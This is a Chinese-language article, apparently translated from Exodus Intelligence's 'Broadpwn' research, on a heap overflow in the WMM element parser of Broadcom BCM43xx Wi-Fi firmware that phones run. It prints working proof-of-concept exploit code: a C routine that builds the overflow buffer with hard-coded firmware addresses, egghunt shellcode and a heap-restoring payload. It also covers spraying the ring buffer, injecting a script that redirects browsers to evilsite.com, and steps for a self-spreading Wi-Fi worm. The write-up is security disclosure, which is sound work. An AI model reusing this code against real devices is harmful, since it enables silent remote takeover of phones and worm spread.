导语:Nitay Artenstein在博通Wi-Fi芯片当中发现了一个漏洞。只要在无线网络范围内,而且不管你是否已经连接特定的WiFi网络,黑客通过远程控制执行任意程序且无需用户交互的情况下发起攻击。
前言
Exodus Intelligence研究员Nitay Artenstein在博通(Broadcom)Wi-Fi芯片当中发现了一个漏洞,这个漏洞可怕到什么程度呢?只要在无线网络范围内,而且不管你是否已经连接特定的WiFi网络,黑客通过远程控制执行任意程序且无需用户交互的情况下发起攻击。目前这个漏洞主要是BCM43系列,包括 BCM4354、BCM 4358以及BCM4359 Wi-Fi芯片,除了谷歌、三星Galaxy从S3到S8、HTC、LG等众多安卓手机厂商外,iPhone也难逃这个漏洞,不过好在iPhone 7、7 Plus没有影响,因为它使用的是Intel的Wi-Fi芯片,目前估计全球至少有数百万台Android及iOS移动终端设备受影响。
目前,谷歌也已在系统当中修复了这个WiFi漏洞,原生Android系统只需要更新到最新版本即可,但是像华为、小米、魅族等第三方Android定制系统还需要一段时间才能进行更新。
攻击面
大多数Android和iOS智能手机有两个额外的芯片,从远程攻击角度来看,基带和WiFi芯片组是两个最重要的部分。基带是一个大型攻击面,无疑会引起许多攻击者的关注。然而,攻击基带是一个困难的任务,主要原因是基带业务的市场最近几年正在经历一个大混乱时代。比如,三星的Shannon调制解调器在大多数较新的三星手机中普遍存在,英特尔的英飞凌芯片已经接管了高通作为iPhone 7及更高版本的基带,联发科的芯片是低成本Android的最爱。
而在WiFi芯片组的市场中, Broadcom仍然是大多数流行的智能手机的主要选择,包括大多数三星Galaxy机型,Nexus手机和iPhone。
研究人员注意到,在笔记本电脑和台式电脑上,WiFi芯片组通常处理PHY层,而内核驱动程序负责处理第3层及更高层,这被称为SoftMAC实现。然而,在移动设备上,设计人员通常会选择FullMAC WiFi实现,其中WiFi芯片自行负责处理PHY,MAC和MLME,这意味着芯片本身可以处理相当多的攻击者控制的输入。
另外,研究人员在Broadcom的芯片上进行一些测试,没有发现ASLR,并且整个RAM具有RWX权限,这意味着攻击者可以在内存中的任何地方读取,写入和运行代码。
BCM43系列的漏洞
芯片固件的逆向工程和调试相对简单,这是因为芯片复位后每个主系统都会将未加密的固件二进制程序加载到芯片的RAM中,因此通过手机系统的简单搜索通常足以定位Broadcom固件。在Linux内核上,其路径通常在配置变量BCMDHD_FW_PATH中定义。
另一方面是固件没有完整性检查,所以很容易修补原始固件,添加打印调试输出或修改其行为的钩子,修改内核以加载攻击的固件。
研究人员观察到的所有BCM芯片都运行ARM Cortex-R4微控制器,该系统的主要特征之一是,大部分代码在ROM上运行,大小为900k。补丁和附加功能被添加到RAM中,也是900k的大小。为了方便修补,在RAM中使用了一个广泛的thunk表,并且在执行期间的特定点将调用该表。如果发生漏洞修复,则可以更改thunk表以重定向到较新的代码。
在架构方面,可以将BCM43xx视为WiFi SoC,因为两个不同的芯片都会对数据包处理。虽然主处理器Cortex-R4在将接收的数据包交给Linux内核之前处理了MAC和MLME层,但使用专有Broadcom处理器架构的单独芯片可处理802.11 PHY层。 SoC的另一个组件是应用处理器的接口,较早的BCM芯片使用较慢的SDIO连接,而BCM4358及更高版本使用PCIe。
WiFi SoC中的主要ARM微控制器运行着称为HNDRTE的神秘专有RTOS。虽然HNDRTE是闭源代码,但是也可以获取较旧版本的源代码。上文研究人员已经提到了Linux brcmsmac驱动程序,这是SoftMAC WiFi芯片的驱动程序,它只处理PHY层,同时让内核执行其他操作。虽然这个驱动程序确实包含了HNDRTE本常用的源代码,但是研究人员发现处理数据包处理的大多数驱动程序代码(这是研究人员想要查找漏洞的位置)与固件中有着显著的不同。
研究人员发现的最方便的资源是VMG-1312的源代码,虽然brcmsmac驱动程序包含Broadcom公开使用的代码,但VMG-1312包含专有的Broadcom闭源代码。
找到合适的漏洞
到目前为止,开发远程攻击的最大挑战是找到一个合适的漏洞,一个合适的漏洞需要满足以下所有要求:
1.它将被触发而不需要与受害者进行交互
2.由于在远程攻击中获取信息的能力有限,所以不需要对系统的状态做出假设
3.成功开发后,漏洞不会使系统处于不稳定状态
那么在哪里可以找到更合适的漏洞?为了回答这个问题,我们来看一下802.11关联过程。该过程开始于802.11 lingo中称为移动站(STA)的客户端,发送探测请求数据包以查找附近的接入点(AP)来连接,探测请求包含STA支持的数据速率以及802.11n或802.11ac等802.11功能。
上述关联序列中的所有分组都具有相同的结构,即基本的802.11报头,后面是一系列的802.11信息元素(IE)。信息元素使用众所周知的TLV(类型 – 长度 – 值)规定进行编码,信息元素的第一个字节表示信息类型,第二个字节保存其长度,最后一个字节保存实际数据。通过解析该数据,AP和STA都可以获得有关其对应关系序列中的要求和能力的信息。
使用诸如WPA2之类的协议实现的任何实际认证仅在该关联序列之后发生,由于在关联序列中没有真正的认证元素,因此可以使用其MAC地址和SSID来模拟任何AP。在稍后的认证阶段,STA只能知道AP是假的。这使得在关联序列期间的任何漏洞特别有价值。在关联过程中,如果攻击者发现了漏洞就能够知道受害者的探测请求,进而模拟STA正在寻找的AP,然后触发该漏洞,而不进行任何身份验证。
在寻找漏洞时,研究人员得到了Broadcom的代码处理802.11系列中的不同协议以及固件本身的不同功能的高度模块化的协助。这种情况下的主要相关函数是wlc_attach_module,它将每个不同的协议或功能作为一个单独的模块进行抽象。 wlc_attach_module调用的各种初始化函数的名称是高度指示性的,比如以下这些代码:
prot_g = wlc_prot_g_attach(wlc); wlc->prot_g = prot_g; if (!prot_g) { goto fail; } prot_n = wlc_prot_n_attach(wlc); wlc->prot_n = prot_n; if (!prot_n) { goto fail; } ccx = wlc_ccx_attach(wlc); wlc->ccx = ccx; if (!ccx) { goto fail; } amsdu = wlc_amsdu_attach(wlc); wlc->amsdu = amsdu; if (!amsdu) { goto fail; }
每个模块初始化函数后都会安装处理程序,其目的就是收到数据包或生成数据包时调用它们。从而对接收到的分组的上下文进行解析或生成用于输出分组的协议相关数据。本文,我们只分析生成用于输出分组的协议相关数据,因为这可以解析攻击者控制的数据代码,相关函数是wlc_iem_add_parse_fn,它具有以下原型:
void wlc_iem_add_parse_fn(iem_info *iem, uint32 subtype_bitfield, uint32 iem_type, callback_fn_t fn, void *arg)
subtype_bitfield是一个位字段,包含与解析器相关的不同数据包子类型(如探测请求,探测响应,关联请求等)。第三个参数iem_type包含这个解析器相关的IE类型。
wlc_iem_add_parse_fn由wlc_module_attach中的各种模块的初始化函数调用。通过编写一些代码来解析传递给它的参数,从而为关联序列的每个阶段创建一个被调用的解析器的列表。通过将搜索范围缩小到此列表,可以不用在不感兴趣的代码区域中查找漏洞,即仅针对用户完成与AP完全关和身份验证后的区域。
真正的漏洞
无线多媒体扩展(WMM)是802.11标准的服务质量(QoS)扩展,使得接入点可以根据不同的接入类别(AC)(如语音,视频)对流量进行优先级排序。在客户端与AP的关联过程中,STA和AP在信息元素(IE)附加到信标,探测请求,探测响应,关联请求和关联响应分组的末尾,都公布其WMM支持级别。
在wlc_iem_add_parse_fn安装之后,研究人员在解析关联数据包的函数中的漏洞时,偶然发现了以下函数:
void wlc_bss_parse_wme_ie(wlc_info *wlc, ie_parser_arg *arg) { unsigned int frame_type; wlc_bsscfg *cfg; bcm_tlv *ie; unsigned char *current_wmm_ie; int flags; frame_type = arg->frame_type; cfg = arg->bsscfg; ie = arg->ie; current_wmm_ie = cfg->current_wmm_ie; if ( frame_type == FC_REASSOC_REQ ) { ... <handle reassociation requests> ... } if ( frame_type == FC_ASSOC_RESP ) { ... if ( wlc->pub->_wme ) { if ( !(flags & 2) ) { ... if ( ie ) { ... cfg->flags |= 0x100u; memcpy(current_wmm_ie, ie->data, ie->len);
在一个经典的漏洞中,程序会在最后一行调用memcpy(),而不会验证缓冲区current_wmm_ie足够大以容纳大小为ie-> len的数据。所以现在称之为漏洞为时尚早,因为不确定是否可以溢出,研究人员可以在分配溢出结构的函数中再进一步确定:
wlc_bsscfg *wlc_bsscfg_malloc(wlc_info *wlc) { wlc_info *wlc; wlc_bss_info *current_bss; wlc_bss_info *target_bss; wlc_pm_st *pm; wmm_ie *current_wmm_ie; ... current_bss = wlc_calloc(0x124); wlc->current_bss = current_bss; if ( !current_bss ) { goto fail; } target_bss = wlc_calloc(0x124); wlc->target_bss = target_bss; if ( !target_bss ) { goto fail; } pm = wlc_calloc(0x78); wlc->pm = pm; if ( !pm ) { goto fail; } current_wmm_ie = wlc_calloc(0x2C); wlc->current_wmm_ie = current_wmm_ie; if ( !current_wmm_ie ) { goto fail; }
如上所述,current_wmm_ie缓冲区的长度为0x2c(44)字节,而IE的最大大小为0xff(255)字节,这意味最大溢出为211字节。
但是溢出不一定就代表有漏洞,例如,CVE-2017-0561(TDLS漏洞)很难被利用,因为它只允许攻击者溢出下一个堆块的大小字段,所以让我们来看看正在溢出的具体内容是什么?
假设malloc()的HNDRTE实现按着内存顶部到底部的顺序进行块分配的,就可以通过查看上面的代码来假设wlc-> pm结构将在wlc-> current_wmm_ie结构之后立即分配,最后得到溢出的目标。为了验证这个假设,我们来看一下current_wmm_ie的十六进制转储,研究人员测试的BCM4359总是在0x1e7dfc处分配:
00000000: 00 50 f2 02 01 01 00 00 03 a4 00 00 27 a4 00 00 .P..........'... 00000010: 42 43 5e 00 62 32 2f 00 00 00 00 00 00 00 00 00 BC^.b2/......... 00000020: c0 0b e0 05 0f 00 00 01 00 00 00 00 7a 00 00 00 ............z... 00000030: 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 64 7a 1e 00 00 00 00 00 b4 7a 1e 00 00 00 00 00 dz.......z...... 00000050: 00 00 00 00 00 00 00 00 c8 00 00 00 c8 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 9c 81 1e 00 1c 81 1e 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000a0: 00 00 00 00 00 00 00 00 2a 01 00 00 00 c0 ca 84 ........*....... 000000b0: ba b9 06 01 0d 62 72 6f 61 64 70 77 6e 5f 74 65 .....broadpwn_te 000000c0: 73 74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 st.............. 000000d0: 00 00 00 00 00 00 fb ff 23 00 0f 00 00 00 01 10 ........#....... 000000e0: 01 00 00 00 0c 00 00 00 82 84 8b 0c 12 96 18 24 ...............$ 000000f0: 30 48 60 6c 00 00 00 00 00 00 00 00 00 00 00 00 0H`l............
看看偏移0x2c处,这是current_wmm_ie的结尾,我们可以看到下一个堆块的大小,即0x7a – 这是wlc-> pm结构的确切大小以及两个字节的对齐方式。这验证了研究人员的假设,即溢出总是运行到wlc-> pm,它是wlc_pm_st类型的结构体。
漏洞开发的第一个思路
和编写一个可靠的远程漏洞相比,发现漏洞是很容易的。在研究人员看来,编写远程攻击的主要困难有两个,一个是需要一些关于被攻击的程序的地址空间的信息,另一个是这些漏洞不被立即发现即降低对用户的干扰。
在Broadpwn中,这两个困难似乎都得到了解决:
首先,在使用的所有相关结构和数据的地址对于给定的固件版本是一致的,这意味着攻击者不需要得到动态地址。
其次,崩溃的芯片并不会对用户的正常运行造成什么干扰。用户界面的主要指示是WiFi图标的消失,芯片复位时暂时中断连接。
这样研究人员就可以建立一个给定固件的地址目录,然后重复启动漏洞利用,直到强制发现正确的地址集。
首先来看看研究人员是如何实现一个写入原语,溢出的结构类型为wlc_pm_st,并处理电源管理状态,包括进入和离开省电模式,结构体定义如下:
typedef struct wlc_pm_st { uint8 PM; bool PM_override; mbool PMenabledModuleId; bool PMenabled; bool PMawakebcn; bool PMpending; bool priorPMstate; bool PSpoll; bool check_for_unaligned_tbtt; uint16 pspoll_prd; struct wl_timer *pspoll_timer; uint16 apsd_trigger_timeout; struct wl_timer *apsd_trigger_timer; bool apsd_sta_usp; bool WME_PM_blocked; uint16 pm2_rcv_percent; pm2rd_state_t pm2_rcv_state; uint16 pm2_rcv_time; uint pm2_sleep_ret_time; uint pm2_sleep_ret_time_left; uint pm2_last_wake_time; bool pm2_refresh_badiv; bool adv_ps_poll; bool send_pspoll_after_tx; wlc_hwtimer_to_t *pm2_rcv_timer; wlc_hwtimer_to_t *pm2_ret_timer; } wlc_pm_st_t;
这个结构的四个部分从开发角度来看是非常有趣的:pspoll_timer和类型为wl_timer的apsd_trigger_timer以及类型为wlc_hwtimer_to_t的pm2_rcv_timer和pm2_ret_timer。
typedef struct _wlc_hwtimer_to { struct _wlc_hwtimer_to *next; uint timeout; hwtto_fn fun; void *arg; bool expired; } wlc_hwtimer_to_t;
在处理数据包并触发溢出后调用函数wlc_hwtimer_del_timeout,并接收pm2_ret_timer作为参数:
void wlc_hwtimer_del_timeout(wlc_hwtimer_to *newto) { wlc_hwtimer_to *i; wlc_hwtimer_to *next; wlc_hwtimer_to *this; for ( i = &newto->gptimer->timer_list; ; i = i->next ) { this = i->next; if ( !i->next ) { break; } if ( this == newto ) { next = newto->next; if ( newto->next ) { next->timeout += newto->timeout; // write-4 primitive } i->next = next; this->fun = 0; return; } } }
从以上的代码可以看出,通过覆盖newto的值并使其指向攻击者受控的位置,next-> timeout所指向的内存位置的内容可以增加newto-> timeout的内存内容。
通过使用struct wl_timer类型的pspoll_timer部分,可以实现较少限制的写入原语,此结构由在关联过程中定期触发的回调函数处理。
int timer_func(struct wl_timer *t) { prev_cpsr = j_disable_irqs(); v3 = t->field_20; ... if ( v3 ) { v7 = t->field_18; v8 = &t->field_8; if ( &t->field_8 == v7 ) { ... } else { v9 = t->field_1c; v7->field_14 = v9; *(v9 + 16) = v7; if ( *v3 == v8 ) { v7->field_18 = v3; } } t->field_20 = 0; } j_restore_cpsr(prev_cpsr); return 0; }
从函数的结尾可以看出,这里更方便写入原语。实际上,可以将存储在field_1c中的值写入研究人员存储在field_18中的地址。这样,就可以将任意值写入任何内存地址,而不会受到以前写入原语的限制。
下一个问题是如何将写入原语用于完整的代码执行,这里有两种办法,不过本文只介绍其中的一种。这种办法是为了实现写入原语,研究人员需要用控制的内存地址覆盖pspoll_timer。由于wlc-> current_wmm_ie和wlc-> ps的地址对于给定的固件版本是已知的和一致的,并且由于研究人员可以完全覆盖其内容,因此可以将pspoll_timer设置为指向这些对象内的任何位置。为了创建一个假的wl_timer对象,wlc-> current_wmm_ie和wlc-> ps之间的未使用的区域是理想的选择。将假定计时器对象放在那里,研究人员将使field_18指向要覆盖的地址(减去14的偏移量),并且field_1c保存要覆盖该内存的内容。触发覆盖后,只需要等待定时器函数被调用进行覆盖。
下一步是确定要覆盖的内存地址,从上述函数可以看出,在触发覆盖之后,立即调用j_restore_cpsr。这个函数基本上只做一件事情,即在RAM中发现的函数thunk表,从thunk表中提取restore_cpsr的地址,并跳转到它。因此,通过覆盖thunk表中的restore_cpsr的索引,可以使研究人员的函数立即被调用。这具有便携式的优点,因为thunk表的起始地址和其中的restore_cpsr的指针的索引在固件构建之间是一致的。
现在已经获得了指令指针的控制,并且具有完全控制的跳转到任意的存储器地址。这意味着研究人员可以从堆,栈或任何地方执行代码。但是此时仍然面临一个问题,就是找到一个很好的位置来放置shellcode。虽然可以将shellcode写入正在溢出的wlc-> pm结构体,但这带来了两个难题:
首先,空间受到211字节覆盖的限制。
其次,wlc-> pm结构不断被HNDRTE代码的其他部分使用,所以将研究人员的shellcode放在结构中的漏洞位置将导致整个系统崩溃。
经过一些尝试和漏洞利用,研究人员意识到代码空间很小,wlc-> pm结构中的12个字节(覆盖结构中数据不会崩溃的唯一地方),并且在一个持有SSID字符串的相邻结构中还有一个32个字节。 44字节的代码不是特别有用的有效载荷,研究人员需要找到其他地方存储主要有效载荷。
解决这个问题的正常方法是寻找一个原始spray(spray primitive),即需要一种方式来写入大块内存的内容,以为研究人员提供了方便可预测的位置来存储有效载荷。
虽然spray primitive可能导致远程攻击中的一个问题,因为有时远程代码不能给研究人员足够的界面来写入大块内存,但在这种情况下,它更容易实现,事实上,甚至此时都不需要通过代码查找合适的分配原语。
任何WiFi实现都将需要在任何给定的时间处理许多数据包,为此,HNDRTE提供了D11芯片和主微控制器通用的环形缓冲器的实现。通过PHY到达的数据包被重复写入缓冲区,直到它被填满,并且将新数据包简单地写入缓冲区的开头,并覆盖其中的任何现有数据。
对研究人员来说,这意味着所需要做的就是在多个频道上播放我们的有效载荷。随着WiFi芯片反复扫描可用的AP(即使在芯片处于省电模式下也是这样做的),环形缓冲区充满了研究人员的有效载荷,为研究人员提供了一个完美的地方去跳转到足够的空间来存储合理大小的载荷。
因此,研究人员要做的就是在wlc-> pm中写入一个小型的shellcode,这样可以节省堆栈帧,并跳转到存储的下一个32位的shellcode未使用的SSID字符串。这个紧凑的shellcode不仅仅是经典的egghunting shellcode,它可以在环形缓冲区中搜索一个魔术数字,指示有效载荷的开始,然后跳转到它。
所以,是时候来看看POC代码了,以下就是如何制作漏洞利用缓冲区:
u8 *generate_wmm_exploit_buf(u8 *eid, u8 *pos) { uint32_t curr_len = (uint32_t) (pos - eid); uint32_t overflow_size = sizeof(struct exploit_buf_4359); uint32_t p_patch = 0x16010C; // p_restore_cpsr uint32_t buf_base_4359 = 0x1e7e02; struct exploit_buf_4359 *buf = (struct exploit_buf_4359 *) pos; memset(pos, 0x0, overflow_size); memcpy(&buf->pm_st_field_40_shellcode_start_106, shellcode_start_bin, sizeof(shellcode_start_bin)); // Shellcode thunk buf->ssid.ssid[0] = 0x41; buf->ssid.ssid[1] = 0x41; buf->ssid.ssid[2] = 0x41; memcpy(&buf->ssid.ssid[3], egghunt_bin, sizeof(egghunt_bin)); buf->ssid.size = sizeof(egghunt_bin) + 3; buf->pm_st_field_10_pspoll_timer_58 = buf_base_4359 + offsetof(struct exploit_buf_4359, t_field_0_2); // Point pspoll timer to our fake timer object buf->pm_st_size_38 = 0x7a; buf->pm_st_field_18_apsd_trigger_timer_66 = 0x1e7ab4; buf->pm_st_field_28_82 = 0xc8; buf->pm_st_field_2c_86 = 0xc8; buf->pm_st_field_38_pm2_rcv_timer_98 = 0x1e819c; buf->pm_st_field_3c_pm2_ret_timer_102 = 0x1e811c; buf->pm_st_field_78_size_162 = 0x1a2; buf->bss_info_field_0_mac1_166 = 0x84cac000; buf->bss_info_field_4_mac2_170 = 0x106b9ba; buf->t_field_20_34 = 0x200000; buf->t_field_18_26 = p_patch - 0x14; // Point field_18 to the restore_cpsr thunk buf->t_field_1c_30 = buf_base_4359 + offsetof(struct exploit_buf_4359, pm_st_field_40_shellcode_start_106) + 1; // Write our shellcode address to the thunk curr_len += overflow_size; pos += overflow_size; return pos; } struct shellcode_ssid { unsigned char size; unsigned char ssid[31]; } STRUCT_PACKED; struct exploit_buf_4359 { uint16_t stub_0; uint32_t t_field_0_2; uint32_t t_field_4_6; uint32_t t_field_8_10; uint32_t t_field_c_14; uint32_t t_field_10_18; uint32_t t_field_14_22; uint32_t t_field_18_26; uint32_t t_field_1c_30; uint32_t t_field_20_34; uint32_t pm_st_size_38; uint32_t pm_st_field_0_42; uint32_t pm_st_field_4_46; uint32_t pm_st_field_8_50; uint32_t pm_st_field_c_54; uint32_t pm_st_field_10_pspoll_timer_58; uint32_t pm_st_field_14_62; uint32_t pm_st_field_18_apsd_trigger_timer_66; uint32_t pm_st_field_1c_70; uint32_t pm_st_field_20_74; uint32_t pm_st_field_24_78; uint32_t pm_st_field_28_82; uint32_t pm_st_field_2c_86; uint32_t pm_st_field_30_90; uint32_t pm_st_field_34_94; uint32_t pm_st_field_38_pm2_rcv_timer_98; uint32_t pm_st_field_3c_pm2_ret_timer_102; uint32_t pm_st_field_40_shellcode_start_106; uint32_t pm_st_field_44_110; uint32_t pm_st_field_48_114; uint32_t pm_st_field_4c_118; uint32_t pm_st_field_50_122; uint32_t pm_st_field_54_126; uint32_t pm_st_field_58_130; uint32_t pm_st_field_5c_134; uint32_t pm_st_field_60_egghunt_138; uint32_t pm_st_field_64_142; uint32_t pm_st_field_68_146; // <- End uint32_t pm_st_field_6c_150; uint32_t pm_st_field_70_154; uint32_t pm_st_field_74_158; uint32_t pm_st_field_78_size_162; uint32_t bss_info_field_0_mac1_166; uint32_t bss_info_field_4_mac2_170; struct shellcode_ssid ssid; } STRUCT_PACKED;
这是执行egghunt的shellcode:
__attribute__((naked)) voidshellcode_start(void) { asm("push {r0-r3,lr}n" "bl egghuntn" "pop {r0-r3,pc}n"); } void egghunt(unsigned int cpsr) { unsigned int egghunt_start = RING_BUFFER_START; unsigned int *p = (unsigned int *) egghunt_start; void (*f)(unsigned int); loop: p++; if (*p != 0xc0deba5e) goto loop; f = (void (*)(unsigned int))(((unsigned char *) p) + 5); f(cpsr); return; }
所以就有一个跳转到研究人员的有效载荷,不过此时,wlc-> pm对象已经被严重损坏了,而系统也将不会保持稳定。这与研究人员的主要目标之一——避免系统崩溃,并不符合。
因此,在进行下一步操作之前,研究人员的有效载荷需要将wlc-> pm对象恢复到正常状态。由于此对象中的所有地址对于给定的固件版本都是一致的,因此可以将这些值复制回缓冲区并将对象恢复到正常状态。
以下是一个初始有效内容的示例:
unsigned char overflow_orig[] = { 0x00, 0x00, 0x03, 0xA4, 0x00, 0x00, 0x27, 0xA4, 0x00, 0x00, 0x42, 0x43, 0x5E, 0x00, 0x62, 0x32, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x0B, 0xE0, 0x05, 0x0F, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x7A, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x7A, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB4, 0x7A, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC8, 0x00, 0x00, 0x00, 0xC8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9C, 0x81, 0x1E, 0x00, 0x1C, 0x81, 0x1E, 0x00 }; void entry(unsigned int cpsr) { int i = 0; unsigned int *p_restore_cpsr = (unsigned int *) 0x16010C; *p_restore_cpsr = (unsigned int) restore_cpsr; printf("Payload triggered, restoring CPSRn"); restore_cpsr(cpsr); printf("Restoring contents of wlc->pm structn"); memcpy((void *) (0x1e7e02), overflow_orig, sizeof(overflow_orig)); return; }
在这个阶段,已经实现了对BCM芯片的控制和一致的RCE,而且对系统的控制不是短暂的,因为芯片在这个漏洞发生之后并没有崩溃。不过唯一的缺点是,如果用户关闭WiFi或芯片崩溃则无法对芯片进行控制。
漏洞开发的第二种思路
上述的第一种方法仍然存在诸多问题,比如,对于每个固件构建,都需要确定在漏洞利用中使用的正确内存地址。虽然这些地址对于不同版本的固件都是一致的,但研究人员仍然需要寻找一种方法来避免为每个固件版本的地址表重新进行编译。
不过要解决这个问题,会面临一个挑战,即需要一个可预测的内存地址,只有得到它,才可以控制其内容,所以研究人员可以覆盖pspoll_timer指针并将其重定向到假的定时器对象。上个方法依赖于给定的固件构建,wlc-> pm的地址是一致的。但是还有一个缓冲区,我们已经知道这个地址——环形缓冲区。在这种情况下,此方法还有一个额外的优势:无论构建或版本号如何,它的起始地址对于特定的芯片类型来说都是一样的。
对于BCM4359,环形缓冲区的起始地址为0x221ec0。因此,要确保控制的数据包被完全写入环形缓冲区的开头,就要将假的定时器对象放在那里,然后立即放置其有效载荷。当然,确保数据包完全放在缓冲区的开头是一个很难的挑战,研究人员可能是在一个具有数十个其他AP和STA的区域,并且干扰因素也很大的环境中进行操作。
为了得到环形缓冲区中所需的位置,研究人员设置了十几个阿尔法无线适配器,每个广播在不同的频道上播放。通过使用所有通道上的数据包就可以有70%的把握,成功得到环形缓冲区的第一个插槽。
一旦得到了第一个插槽,漏洞利用起来就很简单,假的定时器对象会写入p_restore_cpsr的偏移量,用第一个插槽中的数据包中的偏移地址重写,这是研究人员存储的有效载荷的地方。
尽管这种方法挑战很大,也需要一些额外的装备,但它仍然是第一种方法的有力替代方案,因为第二种方法不需要系统内部的地址信息。
利用漏洞发起攻击
在Broadcom芯片上实现稳定的代码执行之后,攻击者的目标将是避开芯片,并提升其在应用处理器上执行代码的权限,这个问题有三种主要解决方法:
1.查找Broadcom内核驱动程序中处理芯片通信的漏洞,驱动器和芯片使用基于分组的协议进行通信,因此内核上的广泛攻击面向芯片暴露。这种方法是困难的,因为除非找到泄漏内核内存的方式,否则攻击者将不会有足够的内核地址空间信息来执行成功的漏洞利用。再次,由于任何漏洞的利用都会使整个系统崩溃,因此攻击内核变得更加困难。
2.使用PCIe直接读写内核内存,虽然在BCM4358(三星Galaxy S6上使用的主要WiFi芯片)之前的WiFi芯片使用了Broadcom的SDIO接口,但更新的芯片使用PCIe,这使DMA能够应用处理器的内存。这种方法的主要缺点是它不支持旧的手机。
3.等待受害者浏览到非HTTPS站点,然后从WiFi芯片将其重定向到恶意URL。这种方法的主要优点是它支持所有设备。缺点是需要一个用于浏览器的单独漏洞链。
在本文的研究中,研究人员的方法是将立足点放在WiFi芯片上,将用户重定向到攻击者控制的站点。通过单个固件功能wlc_recv()是处理所有数据包的起始点,这使得任务变得简单。此函数的签名如下:
void wlc_recv(wlc_info * wlc,void * p)
参数p是指向HNDRTE实现sk_buff的指针,它保存指向分组数据的指针,以及分组长度和指向下一个分组的指针。研究人员需要钩住wlc_recv函数调用,转储收到的每个数据包的内容,并查找封装未加密HTTP流量的数据包。此时,研究人员将修改包含<script>标签的数据包,代码为“top.location.href = http://www.evilsite.com”。
WIFI蠕虫的出现
可以触发而不需要身份验证的漏洞的性质以及要确定和可靠地执行代码漏洞的稳定性,会让研究人员倾向寻找一个自我传播的恶意软件,也称为恶意蠕虫,恶意蠕虫在过去十年已经基本消失了。
Broadpwn是通过WLAN传播的理想选择,不需要身份验证,不需要来自目标设备的infoleak,并且不需要复杂的逻辑来执行。使用上面提供的信息,攻击者可以将受感染的设备转变为移动感染站。
研究人员可以通过以下步骤实现了WiFi蠕虫:
1.前文已经在将系统恢复到稳定状态并防止芯片崩溃后,开始运行研究人员的有效载荷了,有效载荷将以与上面显示的相似的方式钩子wlc_recv。
2.wlc_recv_hook中的代码将检查每个接收到的数据包,并确定它是否为Probe请求。回想一下,wlc_recv基本上表现得像在监视模式下运行一样:通过无线接收的所有数据包都由它处理,只有当STA不适用于STA时才抛出。
3.如果接收到的分组是具有特定AP的SSID的探测请求,则wlc_recv_hook将提取所请求的AP的SSID,并且通过向STA发送探测响应来开始冒充该AP。
4.wlc_recv应该收到一个验证开放序列数据包,此时,钩子函数应该发送一个响应,接下来是STA的关联请求。
5.研究人员将发送的下一个数据包是包含WMM IE的关联响应,它触发该漏洞。在这里,研究人员将利用这样一个事实:可以多次崩溃目标芯片,而不会提醒用户,并开始发送适合利用特定固件版本的精心设计的数据包。这个过程会重复,直到强制得到正确的地址集。另外,还可以使用依赖于spray环形缓冲器并将假的定时器对象和有效载荷置于确定性位置。
6.在拥挤的城市,在监控模式下运行一个Alfa无线适配器要花一个小时,研究人员已经在Probe请求数据包中嗅探了数以百计的SSID名称,其中约70%使用Broadcom WiFi芯片。